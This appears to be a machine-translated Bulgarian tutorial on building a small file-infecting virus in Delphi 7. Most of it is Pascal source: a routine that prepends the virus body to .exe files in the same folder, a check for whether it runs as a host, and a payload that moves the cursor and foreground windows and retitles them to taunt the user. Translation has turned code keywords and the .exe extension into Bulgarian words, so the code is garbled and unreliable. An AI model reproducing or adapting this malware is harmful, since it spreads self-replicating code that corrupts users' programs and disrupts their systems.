Най-малката вируса на Delphi
Е, аз съм развил този мит, всъщност в очите на обществеността изумен ще създаде virya размер
23.40 KB, който ще бъде напълно се размножават и да попречи на работата на системата.
Така че, нашите инструменти:
- Borland Delphi 7.0 Enterprise Edition
- UPX PE опаковчик
- Директни ръце 🙂
За да започнете да се определи това, което искаме. И ние искаме да се създаде вирус, за това ние трябва да знаем принципите на размножаване и унищожаване на жертвата. Аз няма да отида в терминологията, защото за мен беше добре е написано в едно от изданията на "хакер-Spec". Така че нека да се залавяме за работа. Нашето малко животно ще се размножават в същата директория
(Кой има претенции 3 на набор от инструменти, който ще завърши този дефект, ние също трябва да се направи тест не размишляват над компютър вир)
и себе си, пише в началото на файла. Самият процес на работа ужасно банално:
1. Стартирайте вируса.
2. Налице е проверка по повод старта на вируса или тялото на заразения програмата.
3. Ако пренебрегнем тялото на вируса, а след това се пристъпи към инфекция.
4. Ние стартира програмата заразен, ура! Разопаковайте прог на файла от опашката, молейки името си от булдозера и чакат, когато juzverej завършат работата си.
5. Докато juzverej работата му пречи, колкото можем.
6. Poor потребителското PC предал, той е уморен от грешки и той затвори програма, създадена от файла се презаписва
(Този, който ние разопакован) и да продължи да зарази
своите съседи в каталога.
7. Излезте от програмата.
Това е всичко, което ми вирус може, а сега изпълнение.
За да започнете да пишете на скелета програма:
програма zverofil;
използва sysutils, прозорци;
конст virsize = 23040;
жертви VAR: tsearchrec;
f1, f2: файл;
Това е, когато започнем да, за съжаление аз не бях в състояние да хвърлят Sysutils. в противен случай сумата ще uzhalsya до 13 kb.
Процедурата по инфекция изглежда така:
процедура зарази (жертва: низ);
Var
а: цяло число;
Buf: масив [1..virsize] на байт;
NR, NW: longint;
започвам
опитвам
случаен характер;
assignfile (f1, жертва);
а: = случаен (200);
преименуване (f1, "лош" + inttostr (а));
filemode: = 0;
assignfile (f2, paramstr (0));
нулиране (f2,1);
търси (f2,0);
blockread (f2, Buf, virsize);
filemode: = 2;
closefile (f2);
assignfile (f1, жертва);
презапис (f1,1);
blockwrite (f1, Buf, virsize);
assignfile (F2, "лош" + inttostr (а));
нулиране (f2,1);
търси (f2,0);
повторение
BlockRead (f2, Buf, virsize, NR);
BlockWrite (f1, Buf, NR, СЗ);
до (NR = 0) или (NW <> NR);
closefile (F1);
closefile (f2);
deletefile (pchar ( "лош" + inttostr (а)))
с изключение на
приключи;
приключи;
Except`y добавена от съображения за сигурност, ако вирусът се сблъсква с даден файл, без да дава знак за влизането, е тихо и спокойно от процедурата. В противен случай потребителят ще наруши съобщение "Файл I / O грешка". и ние нямаме нужда от него.
След това, ние се определи дали имаме "опашка", или тичане програма - тялото на вируса в чист вид:
filemode: = 0;
assignfile (f1, paramstr (0));
нулиране (f1,1);
ако размер на файла (f1)> virsize след това отидете;
closefile (F1);
filemode: = 2;
Filemode временно приложение на програмата ReadOnly, в противен случай няма да ни позволи да разчита на размера на файла и да генерира грешка.
Търсене и заразяване на жертвите се осъществява, както следва:
ако FindFirst ( "*. Търсейки", Faanyfile, жертви) = 0 тогава
повторение
ако не ((victims.Name) = extractfilename (paramstr (0))), след това започва
ако не ((victims.Name) = extractfilename (extractfilename (paramstr (0)))) след инфектиране (victims.Name);
приключи;
до FindNext (жертви)<>0;
Такова странно код от факта, че заразените файлове се разлага на "zarazhennyy.ehe" и "nezarazhennyy.ehe.ehe" в момента на пускането на пазара, така че да не се опитват да заразят само на работеща програма, която също отиде да прочетете
Само и трябва да се извърши такава проверка.
Ами и изпълни заразени кода на програмата ще бъдат:
процедура вървят;
етикет 10;
Var
Buf: масив [1..virsize] на байт;
прякото: trect;
NR, NW: longint;
започвам
////
опитвам
filemode: = 0;
assignfile (f1, paramstr (0));
нулиране (f1,1);
filemode: = 2;
assignfile (f2, paramstr (0) + 'Търсейки.');
презапис (f2,1);
търси (f1, virsize);
търси (f2,0);
повторение
filemode: = 0;
BlockRead (f1, Buf, virsize, NR);
filemode: = 2;
BlockWrite (f2, Buf, NR, СЗ);
до (NR = 0) или (NW <> NR);
closefile (F1);
closefile (f2);
winexec (pchar (paramstr (0) + ".exe"), SW_show);
10:
ако не deletefile (pchar (paramstr (0) +). Търсейки "), след това започва;
setcursorpos (случаен (800), Произволни (600));
getwindowrect (GetForeGroundWindow, прякото);
setwindowpos (GetForeGroundWindow, HWND_TOPMOST, rect.left + 1, rect.top + 1,
rect.left + 45 + 45 rect.left, SWP_NOSENDCHANGING);
setwindowtext (GetForeGroundWindow "антивируси SUXX (в) Zerofill! ');
сън (400);
Иди 10;
приключи;
Обърнете внимание на последната част - подигравка с потребителя, който работи със заразен прог.
Ние просто вземете и издърпайте мишката и прозореца е най-желаната програма върви наляво и надолу. За перверзници - можете да промените сън създаването;
Покажете тази статия на приятел: